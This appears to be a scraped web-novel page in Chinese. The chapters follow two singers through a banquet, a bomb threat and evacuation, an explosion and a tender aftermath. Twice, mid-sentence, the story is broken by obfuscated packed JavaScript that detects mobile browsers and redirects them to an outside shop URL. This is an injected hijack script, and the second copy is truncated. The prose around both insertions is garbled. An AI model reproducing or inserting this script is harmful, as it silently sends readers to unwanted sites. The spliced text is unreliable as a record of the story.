电梯到了。易卿尘一个激灵,大梦初醒般睁开眼睛,一把从杨原野怀里挣脱,电梯门刚打开,他便像只小兔子一样窜了出去,差点撞到等在门口的博博。 “易老师,你怎么脸这么红?” 易卿尘没应声,红着脸撇下他,急匆匆独自往前走了。 “小野哥,他怎么了?”博博不明就里,留在原地,指着易卿尘背影,冲着慢悠悠地从电梯走出来的杨原野问道。 杨原野笑意晏晏,“他啊,我给他讲了个成年人的笑话,他就生气了。” “啧啧——” 博博一皱眉,剁了下脚,上前一步,“小野哥,你可真是的!”他捂上嘴,又压低了声音,凑到杨原野耳边,“你以后别乱开玩笑,据我观察,我们易老师还是个处男呢!” 杨原野抬起头,张大嘴巴惊讶地看着博博几秒钟,之后噗哧一声笑出来,笑得博博一愣一愣的。 “有……有这么好笑吗?小野哥你自己知道就行,可别说出去啊,我偶像还要面子的……” 杨原野直起腰,收敛了一些,弯着瞳仁,故作神秘状:“你放心,他不是。” “啊?真的?!你怎么知道?”博博O着嘴,眼神又惊又喜。 杨原野一甩手,得意洋洋,扭头往前走了。 废话,他当然知道。 “真的假的啊?小野哥,你别骗我。”博博急着追上去八卦。 杨原野单手插着兜:“你猜呢。” 博博分不清真假,但热情已经被点燃了,火急火燎地问:“说说呗,小野哥,说说,赶紧的。” “说什么?细节吗?” “……我了个去,”博博下巴要脱臼了,“他连这都跟你说!我只知道你俩早年认识,没想到关系这么近呐……” 杨原野停了停脚步,笑说:“嗯,特别近。” 负数的距离,吓死你这个小胖子。 - 《中国唱作人》这一季已经播出了几期,昨天刚播出的是杨原野补位参赛那期,全网收视率高达4.7%,收视份额更是达到了黄金档音综历年巅峰,比上一季提升了40%不止。这次广告商晚宴的规格很高,所有冠名商,合作机构都来了。 今年最后总决赛将会以直播的形式进行,“巅峰之夜”的广告价格也飙升到了每15秒80万元,当晚仅各项广告的收入,就预计超过了9000万元。 这次晚宴主要是酬谢所有合作方,同时也为即将接档的京北卫视其它综艺节目预热招商。 晚宴设在喜来登26层顶楼大宴会厅,一共16桌,宴会厅里180°全海景,晚上7点,正好可以凭窗欣赏著名的“橘子海落日”。 六位唱作人一同乘坐节目组的大巴车前往酒店,博博坐在易卿尘身边,拿着手机狂拍他的偶像。 易卿尘一身银灰色哑光丝绒西装,映在落日淡粉色余晖下,气质温柔又庄重。博博眼下心情无比的好,想想他王子般的偶像,是个有性经验的成熟男人,他就周身血脉畅通,有种老父亲的安心和骄傲。 选了一张易卿尘完美的侧脸照,背景是橘色的海滨落日,“Bob博”发了一条朋友圈。 “Bob博:太阳东升西落,浪漫至死不渝。” 几秒钟后,Bob博收到了第一个点赞和留言:“yyy:[比心]” 博博探出脑袋看向后座的小野哥,给了对方一个wink。 易卿尘坐在靠窗的座位,大巴车拐进喜来登度假园的大门前,他的目光被街边的某个小摊牵走了。没想到盛夏季节竟然有人在卖糖炒栗子,小推车上的炒锅正呼呼冒着热气,幻想一下,海边微凉的傍晚,怀抱一包糖炒栗子,确实暖身又暖心。 一直到车子拐弯,栗子摊化做一个小黑点,易卿尘才收回视线。 六位选手和经纪人助理们一同下车,走进酒店。下了26楼的电梯,江琳达要去换裙子和补妆,先走了,剩下五个男人也就各自散了,约好过二十分钟再一起去大宴会厅入场。 博博、杨原野和易卿尘三人推门进了一旁的小厅,这里没有什么人,小舞台装饰着森系的树叶和藤枝,白玫瑰还是鲜艳欲滴的模样,估计晚上这里有什么活动,可以在这儿先歇歇脚。 “看呐,施坦威三角钢琴!”博博一个箭步冲上台去,对着舞台上的钢琴,伸出手又不敢碰,太贵了,怕碰坏赔不起。 杨原野和易卿尘对视一眼。 “行啊,博博,没想到你还懂钢琴。这一款可是施坦威里面的顶级货,皇冠珠宝稀有木材贴面带录音版Spirio,最起码300万起。”杨原野发挥了一个阔少的自我修养,对于昂贵的东西如数家珍。 “这么贵?”博博收回了即将碰上黑白键的胖手,感慨万千,“我小时候也学钢琴,可是吃不了苦,半途而废了。我现在每次看易老师弹钢琴都羡慕得不行,弹钢琴的男人太帅了。” “就他帅,你哥我就不帅?”杨原野跳上舞台,直接一屁股坐在琴凳上,“别忘了,你现在也是我半个助理,不好好说话,小心我扣你工资。说,我俩到底谁帅?” “你欺负博博干嘛?他又没看过你弹琴。”易卿尘拣了个第一排的座位坐下。 “小野哥你弹你弹,我只知道你会弹吉他,不知道你钢琴也弹得好,快给我露一手!这么好的钢琴,必须弹一首你最拿手的曲子!”博博在一旁怂恿道。 这时,一颗人头忽然从钢琴下面冒出了来,那人笑眯眯的,朗声说道:“先别弹,我这儿还没弄完呢!” 杨原野和博博都吓了一跳,俩人赶紧闭嘴,面面相觑。 调琴的工人钻进去又鼓捣了半天,再爬出来走去调试角落里的音响。 工人小哥终于忙完了,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191414|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着几人笑得含蓄腼腆,“我认识你们,昨晚电视里刚播了《中国唱作人》,我闺女特别喜欢看你们那节目!唱的真好听。” “师傅,您这是在装扩音器?”易卿尘问道。 “是啊,我这扩音器连着音响,我给你打开,你们现在弹一下,声音可大呢。”工人小哥指着音响控制台上的一排按键,说道,“你看,如果按这几个钮,就能连上整个26楼的顶棚中央音响,每个房间都能听见。” 博博随手轻轻按了一个白键,果然声音响彻整间小会堂。 “我完事儿先走了,你们记着,可千万别乱按这些按钮哈。”工人小哥摘了白手套揣进兜里,搓了搓手说,“对了,那个……我能不能跟你们拍张照?” “当然啦,我两位偶像最好说话了!” 博博拿过手机,给小哥和两位明星合影N张。 工人小哥合过影满意地离开了,小宴会厅里剩下他们三个。 杨原野走上台,坐在钢琴前,双手停在黑白键上,想了一想。不一会儿,安静的空气中,流畅的旋律缓缓地从指尖倾泻流淌。 原本在摆弄手机的第一排姓易的观众,忽然触电般抬起了头。 悠扬的音符化成一条河,流进了那双漂亮的眼睛,易卿尘的眸色愈发地晶亮水润,灵动的光影在他眼中跳跃。 “《思君不见》!小野哥居然会弹这首歌!”博博立在钢琴边上,边说边看向易卿尘。只见他的偶像此刻如一尊白玉的雕像,一瞬不瞬地坐在那儿,全部的目光都给了台上身穿黑色礼服、在白玫瑰花园中演奏钢琴的人。 《思君不见》主要的伴奏乐器是古琴,古琴琴谱十分复杂,并不容易直接转成钢琴谱,若不是特意花时间研究过,绝不可能临场弹奏出来的。杨原野的钢琴版本和原版并不完全一致,几处细小的改编竟都充满灵性,曲中那入骨的相思,绵长悠远,谱曲的人定是花了时间,费了思量。 杨原野从台上望了过来,原本桀骜难驯的眼睛里此刻满是温柔和爱意。 易卿尘缓缓地从座位上起身,被无形的千丝万缕牵引着,往前走去。在台下离杨原野最近的地方站下,微微仰头看着他。 音符会说话,此刻的密码,只有他和他听得懂…… 哗啦一声,小宴会厅的门猛地被推开,孟副导演雄浑的嗓音传来: “找了半天,原来你们在这儿呢!赶紧走走走,骆导要上台讲话了!那几位都进去了!” “噢,来啦来啦!”博博迅速响应。 杨原野停下了弹琴的手。博博这只小棕熊轰地一声从舞台上跳下来,落在易卿尘和杨原野中间,那些无形的千丝万缕瞬间缠成一团毛线。 …… 收视率是第一生产力,决定了赞助商、出品方和明星的三角形生产关系。这季的明星们各个有特色有看点,流量和实力兼得,加之暑期黄金档,简直是天时地利人和全占齐了——今晚的三角形又大又铁。有钱赚,所有人都精神抖擞。 宴会中,各个大佬对总导演骆佳滨不吝溢美之词,席间就已经开始向他接下来的节目伸出了投资的橄榄枝。 晚宴进行到一半,吴芷静和楚言一起走了进来。楚默和宋小赢也来了,小楚总揽着江琳达,毫不避讳二人的亲昵,积极地把她引荐给两个奢侈品品牌的亚太区负责人。 易卿尘发现吴芷静在有楚总的场合总是格外的柔情,比如今晚,露背鱼尾裙配上硕大的珍珠耳环,优雅又性感,和平日里雷厉风行的模样不尽相同。 “小易,来!楚总要带你认识个人。” 吴芷静走过来招唤易卿尘,不远处,楚言正和一位商界名流说着话,谈笑间,楚言转过头,冲易卿尘招招手。 大家推杯换盏,易卿尘跟一群不认识的人寒暄社交,笑得下巴都酸了。他的眼神总是忍不住四处搜寻,瞥见李达理正和杨原野在角落聊天。 他习惯了在人群中寻找杨原野,也不干什么,只是找见了,就踏实。 73.073 警报 又喝了几杯之后,易卿尘累了,寻了个托辞回去座位上坐着。博博不知道跑去哪儿了,易卿尘的心里其实一直惦记着那个卖糖炒栗子的小摊儿,坐了一会儿,他决定溜走,买了栗子再悄悄溜回来。 屁股刚抬起来,就被身后的一只手按住:“去哪儿?你不能再喝了。” 一转头,是杨原野略显担忧的眼神。 “我看着像喝多了吗?”易卿尘摸了摸自己的脸,好像确实有些烫。 杨原野眉头一皱:“五杯红的,三小杯白的。你自己说多不多?” “噢……” 原来杨原野也在偷偷看他。 易卿尘忍住上翘的嘴角,眨眨眼睛说道:“所以我正想出去找个地方歇一会儿,有点晕呢……” “那你去——”杨原野话还没说完,就被人揽住肩膀。他扭头一看,竟是金陵川,金家二少,他的假发小、真克星。和易卿尘重逢那天,他把红酒洒在易卿尘皮鞋上,当时就是这位金少爷跳出来带头奚落他。 没几个月,金陵川已经换了另一副嘴脸,歪着一边嘴巴,笑嘻嘻地贴住杨原野。 “杨哥!可以呀!这么快就东山再起,牛逼大发了!” 杨原野先是看了一眼易卿尘,易卿尘冲他做了个“我走了”的手势,他点了点头。易卿尘便默默拿起椅背上的西装外套,往外走了。 杨原野看易卿尘的背影消失在门口后,回过头来,觑了眼这个草包富二代:“金少,你还活着呢?” “是啊,好死不如赖活着。怎么的杨哥,怎么也不联系兄弟了?” 你算哪门子的兄弟?“还不是忙得没时间嘛。” “呦!最近除了上节目捞钱,还忙些啥呢?” “忙大事儿呢!”杨原野一抬眉。 “怎么着,你又搞上什么生意了?鼎鑫都没了,你还挺能折腾!”金陵川来了兴趣,“说说!有钱一起赚啊!” 杨原野压低了声音道:“基因编辑听说过吗?” “啊,知道。” “我最近投资个项目,研究怎么能把猪啊羊啊,这些个动物的器官编辑基因之后移植到人身上。” “这能行?”金陵川眼珠一转,“你差点儿忘了你以前是学医的,这事儿做成了得相当赚钱吧?” 杨原野使劲儿点了下头:“赚不赚钱我不知道,不过能把你的脑子换成猪脑子,你爸应该挺高兴的,傻儿子的IQ终于提高了。” “……杨原野我艹你大爷!” “行,你去吧,我大爷快五十了。” 金陵川气得鼻孔张得又圆又大,“你他妈这张嘴,从小就不会好好说话,总有一天——” 话还没说完,听得一声清脆的玻璃碎裂的响声。 杨原野循声望去,只见段朗星站在不远处,手里捏着一张信纸,玻璃杯碎在脚边,眼神惊恐异常。 段朗星步伐虚浮地朝楚言走去,把手中的纸递给他。楚言看完后,跟段朗星交换了一个意味深长的眼神,楚言握住段朗星的手,拍了两下,似在安抚他。之后楚言走去对吴芷静耳语,吴芷静神色严肃地立刻点点头,拉起段朗星就往外走,段朗星丢了魂似的被牵着。 杨原野偷偷观察,觉得十分蹊跷,一定出了什么大事。 楚言在大宴会厅好像在找什么人,看见杨原野,立刻朝他走了过来。 “金陵川,我现在有事儿,改天再聊。” 杨原野说罢甩开金陵川,朝楚言迎了过去。 “小尘呢?”楚言率先开了口。 “出什么事了?”杨原野问。 楚言看了一眼杨原野,顿了一顿,凑近了用只有两个人听得见的声音说道:“段朗星的粉丝可能在这栋楼里放了炸弹,”楚言抓紧杨原野的胳膊,竭力稳住对方的身体,以免外显出任何破绽以免造成恐慌,“站稳了,那人也可能只是虚张声势,有没有炸弹我不知道,但无论如何,你赶快带小尘走,走消防楼梯,不要坐电梯。听明白我说的了吗?” 杨原野脑袋嗡地一声,睁大了眼睛,在这位一向运筹帷幄的男人脸上看到了难掩的恐慌。 “好,我这就去找他。” 杨原野当即掏出手机,飞速拨出易卿尘的电话,嘟嘟声,一声声掉在喧闹的宴会厅,没有被那个清澈的嗓音拾起。杨原野听到不远处传来一阵铃声,走过去才发现易卿尘的手机竟然忘在桌上没拿。 一颗心登时揪紧了,在旁人诧异的目光中,杨原野火速奔出大宴会厅。走廊里、卫生间找遍了竟都找不见人。易卿尘刚刚喝多了,怕不是找地方躲起来打盹儿去了,手机也没拿,他能去哪儿呢? 喜来登很大,一层大大小小的宴会厅加起来有近二十个。 杨原野循着就近原则,从离大宴会厅最近的房间一间一间地找,刚进到第二间,整栋大楼便响起了火警警铃声…… 身穿大厦制服的人从消防通道走出来,将通道的门大敞开,并用胶皮门档固定住。至少两个警察站在走廊待命。很快,便有宾客从各个宴会厅陆续跑出来,有的神色慌张,有的不当回事。 见到走廊里的警察,一个男人走过去问道:“这是消防演习吗?可不可以不下楼?我们正谈生意呢!” 警察狠狠剜他一眼:“什么生意比命贵?这不是演习,赶快下楼!叫他们都出来!” 闻言,那人立刻噤若寒蝉,扭身跑回屋里,不一会儿,一伙人呼啦啦从一间宴会厅跑出来,女人们穿着高跟鞋晚礼服,行动不便,干脆脱了鞋拎在手里;还有上了年纪的,需得人搀扶着往外撤离。 《唱作人》合作商晚宴的大宴会厅里,骆导演拿过麦克风,站上舞台,说道:“大厦有警情,需要所有人紧急疏散。大家不要慌张,出门右转到底就是消防通道。抓紧时间,迅速有序撤离!” 大家听了都不可自控地开始慌张,到处找寻各自的伙伴,一时间现场乱作一团。 博博像一头暴躁的棕熊,找不到易卿尘和杨原野,哐哐地到处跑,喊着两人的名字。几分钟后,整间宴会厅都快空了,博博又跟着人流往外挤。 火警警铃熄了,走廊的应急灯全亮着,画面像一部肃杀的灾难片。 走到消防楼梯入口,博博一眼就看见了杨原野,多亏了他那出挑的外形。26楼是顶楼,人们都在往下走,通往天台的楼梯空无一人,只有杨原野矗立在那里,像一座孤独的灯塔。灯塔发出的光扫视着向下疏散的人群,杨原野不放过任何一张脸。 “小野哥,可算找到你了!你怎么在这儿?!” “博博!” 博博挤过人群站到杨原野旁边的台阶上。二人几乎同时问道: “他呢?” “他呢?” 杨原野面色一沉,抓住博博的肩膀,说道:“博博,你不要管我,赶快下楼。到了下面集合的广场,找找他,如果找到了,给我打电话。要快!” 博博不知道所谓“警情”到底是多么严重的事,但看杨原野的神色,心觉不妙,赶紧应道:“行,那你呢?” “我在这里找他,我一见到他就给你打电话。快走!”杨原野又补充道,“哦,如果你见到他立刻打给我,还有,千万不要告诉他我还在里面。” 博博没理顺这里面的逻辑,懵懂地点点头,转身挤进了人流,很快消失在杨原野的视线中。 这里是唯一的消防通道,只要人还在楼里,就一定会经 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直到最后一个房间。杨原野颓然地跌坐在地上,头抵着墙壁,狠狠地锤着墙,近乎绝望地自语:“小尘,你千万不能出事……” 26层这么多间房间,只是休息,易卿尘不可能去别的楼层。除非是被人胁迫。杨原野强迫自己冷静下来思考,可是每过一秒,炸弹爆炸的危险就多一分。 他觉得好冷,恐惧充斥着每颗毛孔,汗都是冰的。 “咚!”桌子底下忽然传来一声响。 “谁在那儿?是你吗,易卿尘?!” 杨原野抱着最后一丝希望走近,一把掀起了桌布…… 此时此刻,毫不知情的易卿尘正抱着一包热气腾腾的糖炒栗子,轻快地走在路上。晚风吹来,皮肤凉爽又舒服,想想八月份还能吃到糖炒栗子,杨原野一定会笑着夸他。 快走到酒店园区,他忽然发现气氛好像不太对,许多警车闪着灯往里开,甚至还有武警。他继续往前走,又看见一大群人站在广场上,还有很多人从楼里往外跑,于是他加快脚步跑了过去。 远远地看见了刚一起喝酒的几个投资商,PD姐姐,骆佳滨,李达理……还有楚言。楚言一旁站着的是吴芷静和段朗星。一向骄矜的段朗星此刻像一只受惊的小绵羊。 易卿尘心感不妙,视线在人群中扫视一圈,又一圈,却没看到他要找的人。 他慌忙挤到楚言面前,问道:“楚总,这是怎么了?” 楚言看见他,眉头一下就舒展了,一副如释重负的表情:“小尘!你没事儿就好。” 这时博博也从大楼里跑出来,大吼着叫他:“易老师!!!” 易卿尘抓住博博的胳膊,“到底怎么了?” 博博喘着粗气,“楼里出事儿了,所有人都被疏散了。” “出什么事儿?那……他呢?杨原野人呢?”易卿尘茫然四顾,大睁着一双眼睛问道。 “你别急,他在上面找你呢。我赶紧给他打电话!”博博一边喘一边飞速拨号。 可打了几次都无法接通。 “怎么打不通?”易卿尘问。 一旁段朗星嚅嗫着猜测:“这栋楼的信号……可能被屏蔽了,怕那个东西被信号遥控引爆吧……言哥,大巴车什么时候到啊?站在这儿也不安全,我害怕……” 易卿尘霍地转向他,寒光透出眼睛,射向段朗星,“你说什么?什么引爆???” “……我、我……我可什么也没说……”段朗星登时噤了声,搂紧了楚言的胳膊,直往身后躲。 74.074 团圆 远处,拆弹专家和防爆武警都到了,武警们正从车里往下卸沙袋,人群变得骚动不安。 博博吓得捂住了嘴。 易卿尘的脑子轰地炸了,血脉沸腾着上涌。“不行,我要上去找他。”话没说完,易卿尘就朝主楼奔去。 楚言跑上去抓他,他不知哪来的那么大力气,挣脱时甩得楚言一个趔趄。 “回来!易卿尘!快给我回来!” “易老师别去啊!唉呀,我真不该告诉他的!都怪我……”博博也急得大叫。 耳边只有隆隆的心跳声,易卿尘逆着人流往里跑,其中一个警察抬手去拦他,他使劲把那手臂推开。警察被往外涌的人流挡住,只得在身后喊他:“哎哎哎!!!干嘛去?不要命了?” 嗯,不要命了。 如果杨原野因为他出了事,往后余生只会剩下悔恨,他还要这命做什么? …… 与此同时,大楼里,杨原野有了新发现。 “小鬼,你怎么躲在这儿?” 杨原野掀开曳地的大桌布,一个白胖白胖的小男孩正眨着大眼睛望着他,嘴角留着食物的残渣,手上的悠悠球掉在地上。 “小点声——我在躲猫猫呢。”男孩奶声奶气地嗔怪他。 在快爆炸的大楼里躲猫猫,你该庆幸躲藏失败被人找到。杨原野伸手进去拉男孩的胳膊,把他往外拽。 “快出来!我已经看见你了!” 男孩连滚带爬地钻出来,大概六七岁的模样。 “你是谁呀?我不认识你,妈妈说陌生人都是坏人。你是坏人吗?” 杨原野吓唬他:“我专门抓小孩子,你赶紧找你妈去。你妈呢?” “啊哇——我这么凶,果然是坏人!”男孩往后退了几步。 “走,我带你找你妈去,这里很危险你知不知道?”杨原野走过去拖着男孩的胳膊往外走,男孩吱哇乱叫,使劲往地上坐,拒绝跟杨原野走。 杨原野真后悔刚才为什么吓唬他,他最受不了小孩子。 杨原野没时间跟他耗着,一个俯身把小男孩抗在肩头,敦实的小胖子像一头小猪,杨原野直起身趔趄了两步才站稳。 “小鬼,你该减肥了。” 扛着小猪往外走,还没走到消防楼梯口,小猪吭哧一口狠咬住杨原野肩膀,使了吃奶的劲儿。疼得杨原野痛呼一声,蹲下来,把小猪放到地上。 得到松绑后,小猪撒腿就往回蹿,速度飞快。杨原野赶忙站起身追他。 小猪跑不过大长腿,很快被堵在墙角。 “我要找妈妈,我要找妈妈,哇哇——呜呜——”一排金豆豆从眼睛里噼里啪啦的地往外掉,男孩一屁股坐在地上哭起来。 杨原野实在拿他没办法,生平第一次哄小孩子:“好了好了,哥哥刚才逗你的,哥哥不是坏人,我要带你离开这里,你没看到都没人了吗?这里要着火了,哥哥带你离开这儿,你可以配合哥哥吗?你自己多沉,你爸妈没告诉过你吗?你这样不老实,哥哥没办法带你下26楼。而且,哥哥还有事情呢,你快别闹了。” 杨原野一顿输入,小男孩竟然听懂了,止住了哭声,哽咽道:“我妈妈呢?哥哥你帮我找妈妈好不好……我害怕……” “妈妈可能已经在楼下了,哥哥带你下楼。” “不可能不可能!”男孩又开始大叫,“妈妈说过,她会来找我的,不可能在楼下,我不信!” 杨原野又急又气,没有别人帮忙,他一个人没法带小男孩下楼。万一他妈妈真的还在楼里找儿子,也很危险。要怎么才能发出信号呢? 忽然,杨原野眼睛一亮。 “走!哥哥有办法了。” 两人一起来到白玫瑰花园主题的小宴会厅,杨原野一个箭步跳上舞台,打开音响控制台,将调琴师早些时候所有不让他们碰的那些旋钮都拧到最右。 小男孩站在舞台下面看着他,好奇地问:“哥哥,你在干嘛呢?” 杨原野坐在琴凳上,打开施坦威钢琴的琴盖,问他:“你妈平时最喜欢给你唱什么歌?” “《找朋友》。妈妈最近天天都教我唱《找朋友》,我下周就上一年级了,妈妈希望我交到好多好多朋友~” 杨原野笑道:“有命活到下周再说。” “啊?” “听着——” 一阵充满童趣的音乐从中央音响流淌而出,不止这间小礼堂,整层楼都回荡着轻快的音乐声。 男孩兴奋极了,拍着手扭来扭曲地唱起来:“找呀找呀找朋友,你是我的好朋友,行个礼呀握握手,你是我的好朋友……” 杨原野一遍又一遍地弹着,旋律起先轻巧,越弹越快,焦急的心情从音符里跑出来,震耳欲聋地环绕在空气中。 忽然,一阵脚步声近了…… “妈妈——”男孩兴奋地跑向门口,冲进了一个女人的怀抱。女人头发散乱,面色煞白,蹲下身,紧抱着“失而复得”的儿子。不敢想象,她的心里刚经历了什么样的一场天崩地裂。 “团团,你跑哪儿去了,急死妈妈了!” 女人起身,攥紧了男孩的手,定睛看了看,台上的人,惊讶地说:“你是……杨原野?真是太谢谢你了,咱们快一起下楼吧,我听人说楼里有……炸弹……” 杨原野从台上下来,笃定地说:“快带他走吧,不要管我,我还在找人。” “都这时候了,你找谁呀?” “我……在找我哥……”黑瞳翻涌出绝望的郁色,“你们快走吧,抓紧时间!不要管我。” 女人点点头,都懂的,这种生死关头,除了至亲骨肉,还有什么人值得豁出命去? 女人看着杨原野转回到台上,钢琴里流出一首很熟悉的歌,好像是今年很流行的,叫《思君不见》还是什么。 顾不上别的,女人牵着团团转身就跑,闷头没跑两步,迎面跟人撞了个满怀。女人抬眼一看,这不是那个谁吗…… 那个谁顾不上道歉,伸手简单扶了她一把就径直往前跑,转了个弯跑进了刚才那间小宴会厅。 “杨原野!”一道急促又紧涩的男声。 杨原野猛地抬头——易卿尘急刹停在门口,胸腔起起伏伏,喘着粗气,像是刚从汗水里捞出来的,手中抱着一个牛皮纸袋。 易卿尘神色慌张地走进厅内,一股糖炒栗子特有的香气钻进杨原野的鼻腔…… “你去哪儿了?”杨原野冷声问道。 “我……”易卿尘看了一眼纸袋,结结巴巴地说,“我去买、买东西了。” “啪——”牛皮纸袋被杨原野抬手掀翻,一颗颗硕大饱满的板栗骨碌碌地滚落在地。 易卿尘懵然无措,小心翼翼地看向杨原野。 “易卿尘,你到底怎么回事?!不说一声就走,手机也不带。”杨原野双眼猩红,身体止不住地颤抖,低吼着,“你今年多大了?是三岁小孩吗?知不知道别人有多担心?” 杨原野胸腔剧烈地起伏,牙齿狠咬着下唇,嘴唇渗出血来。 杨原野是责怪他,也是真的担心他,易卿尘心中都明白。 “阿野,以后再遇到这种事,不要管我了,我只要你平平安安。” 一直紧绷的弦忽然断了,杨原野再也忍不住,千百种滋味涌上心头,眼泪不受控地纷纷落了下来。 “不管你?我怎么可能不管你,”泪水簌簌地流,他近乎哽咽,一字一字从喉咙中挤出来,“你是我的命啊… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杨原野抓着他的手越来越紧,两个人都屏住了呼吸,不说话。忽然,一阵小孩的哭声越来越近。 墙壁上的数字显示这里是十三楼,只见小胖子团团正站在楼梯上爆哭,许是被刚才的爆炸吓坏了,团团妈妈在一旁急得跳脚:“哭,哭什么哭啊,你快给我闭嘴,赶紧走!” 团团妈妈边说边伸手去拉他的胳膊,团团使劲一挣,胖墩墩的身体直直地后仰,像一枚多米诺骨牌,眼看就要摔下楼梯。 “啊——” 易卿尘松开杨原野的手,飞身上前,拉住团团,随即扭转身体,像一个托盘,从背后承托住这枚颇有重量的骨牌。 后背和胯骨撞击到水泥台阶的一刻,易卿尘觉得自己的骨头架子怕是散了。 小胖子团团摔在易卿尘的怀里,睫毛上沾着泪花,扭头看着身后疼到眯起眼睛的人。 “哥哥,你……你死了吗?”问完,又开始大哭。 “我的妈呀!”团团妈妈手足无措,“你没事儿吧?” 杨原野快步越过团团妈妈,将小胖子一把拉起来,蹲在易卿尘身边,焦急地唤道:“小尘,你怎么样?” 挨过了这阵疼,易卿尘慢慢张开眼睛,说道:“没事儿,阿野你拉我起来。” 易卿尘借着杨原野手臂的力量努力站了起来,动了动肩膀和腿,都能动,只是腰扭了,每走一步都很疼,额上沁出薄汗。 杨原野二话不说,在他面前蹲下,直接把他背了起来。 “小鬼,你不要再闹了,咱们必须立刻离开这里,你再不听话,我就去告诉你们老师!”杨原野严肃地警告团团。 听见要被告老师,小胖子一下子就不哭了,捂着嘴巴,点点头。 75.075 甜吗 二十六楼的窗户被爆破产生的巨大冲击波震碎,夜色中,一团团烈焰从爆炸点喷涌而出,舌舐着周围的一切。火焰的炽热将周围的空气烘烤得扭曲起来,形成了一道道炙热的气流。火光在夜空中熊熊燃烧,浓烟滚滚而出,弥漫在空气中。 地上的人们大部分已经被大巴车接走,近地面被沙袋围成一道矮墙,全部升起的八辆消防云梯车望洋兴叹,到达不了26楼,只能用水枪在下面为大楼降温。 消防官兵在现场紧急作战,沙袋外围是几家新闻媒体的摄影机和一线记者。摄影师忽然叫了一声:“有人出来了!” 女记者回头看向喜来登主楼一楼消防通道出口,只见一行人从里面跑出来。 她立刻拿起话筒,对着镜头说:“我们看到有几名被困人员刚刚从逃生出口出来,有人似乎受伤了,被人背着正在逃生,还有一个似乎是一个小朋友。不知道大楼内是否还有其他被困人员,北戴河消防中队正组成多个搜救小组分区疏散及搜救被困人员,我们会在此持续关注并带来一线报导。京北电视台记者,从现场发来的报道。” …… 消防员见到他们,立刻把易卿尘从杨原野身上扶了下来,抬上了担架。两名医护人员将他转移到一旁待命的其中一辆救护车上。杨原野,团团母子也上了救护车。 经过医生的一番检查,大家都没有大碍,只有易卿尘的腰软组织挫伤,后背和手臂都破了皮,受了些皮外伤。大家松了一口气,劫后余生一般。 团团妈妈握着易卿尘的手,激动地说:“我知道你是易卿尘,我平时也看电视的。天呐,我真没想到你能不顾安危地救我儿子,真是太谢谢你了!我要怎么能报答你呢?” 易卿尘摇摇头,笑说:“不用放在心上,团团没事就好。” “怎么能不放在心上,你们真是救了我和团团的命。这孩子平时就不老实,我们在19楼吃饭,他说要玩捉迷藏,我以为他不会离开我们那个房间,没想到他居然跑到那么高的楼层去了。要不是杨原野弹的《找朋友》,我真不知道去哪儿找团团,他要是出了事儿,我也不活了。”团团妈妈说着流出了两行热泪。 杨原野轻轻弹了小胖子一个脑瓜蹦儿,说道:“小鬼,你以后不可以再乱跑了,听到没?” “嗯嗯!我长大以后要做消防员,哥哥你看,他们多厉害呀!”小胖子拉着杨原野的手,看向火光冲天的大楼,红色的消防车,橘红色的制服,在黑夜里是希望的萤火。 - 两个多小时以后,易卿尘已经回到了阿那亚酒店的房间。四个柔软的天鹅绒枕头垫在背后,易卿尘靠着倚坐在床上。 电视里京北电视台的直播报道还在继续,易卿尘拿着遥控器调大了音量。 博博,姬波和吴芷静都围坐在一旁的沙发上,议论着今晚让人心惊肉跳的事情。杨原野则拉了一把椅子坐在床边,拿着水果刀正在削一只苹果。杨少爷从小养尊处优,伺候人的手法实在生疏,削了五六分钟,红彤彤的苹果也只堪堪脱掉了上衣,大腿上垫着的塑料袋里,果皮断成不规则的一小截,一小截。 吴芷静碰了碰姬波的胳膊,低声道:“他们俩……师傅你早就知道了?” 姬波笑着叹了口气,“长眼睛的就能看出来,亏你还是我徒弟。” 博博压低声音抢话道:“连我都没发现!” 他想起和杨原野讨论易卿尘是否是处男的问题,现在想来,有点儿恍然大悟。 吴芷静瞥了一眼身后那俩人,笑道:“很般配。” 只可惜,楚某人要心碎了。 姬波瞄了一眼正在削苹果的少爷,故意提高了音量调侃道:“小易呀,苹果甜吗?” 易卿尘漫不经心地把视线从电视机上抬起来,转向沙发区——三张脸正齐齐地望着他,每个人的嘴角都含着意味深长、不言而喻的笑容。 唰——易卿尘咂摸过味儿来,脸一下就红了,像杨原野捧在手心里的那颗红苹果。 他嚅嗫道:“我……我哪知道甜不甜,这不还没吃到嘴里呢……” 只见杨原野用水果刀从苹果的上半边切下来白白的一小牙,径直递到易卿尘的嘴边,旁若无人地说:“迟早都是你的。喏,我紧着点儿弄,别嫌慢就行。” “哦——”沙发传来一阵起哄。 “不嫌不嫌,小野哥,你就在这儿削,削一晚上才好,好好照顾照顾我们易老师。”博博笑得见牙不见眼,把“好好”两个音拉得老长。 易卿尘头一回经历这种事儿,本来就脸皮薄,现在更是害羞得要命,像只煮熟的大头虾,全身都覆上了薄红。哪里就到了被人起哄的份儿了,他和杨原野根本就还是纯洁的朋友关系呢…… “喂!你们说什么呢?”易卿尘嗔道,“杨原野,你也不管管他们,你听听——唔——” 话没说完,脆爽多汁的一牙果肉就被强行塞进了他嘴里。嘴巴嚼了两下,满溢的甜汁儿就和口腔的津液充分混合,易卿尘闭上了小嘴巴。 “管他们什么?我连你都管不好,哪有本事管别人?况且人家又没招你,不就是在问苹果甜不甜吗?”杨原野看着易卿尘红扑扑的脸蛋,问道,“甜吗?” 甜。喜欢。 易卿尘的腮帮子一鼓一鼓,低着头,又害羞起来。杨原野盯着他看,忍不住伸手去擦他唇角溢出的晶晶亮的果汁。 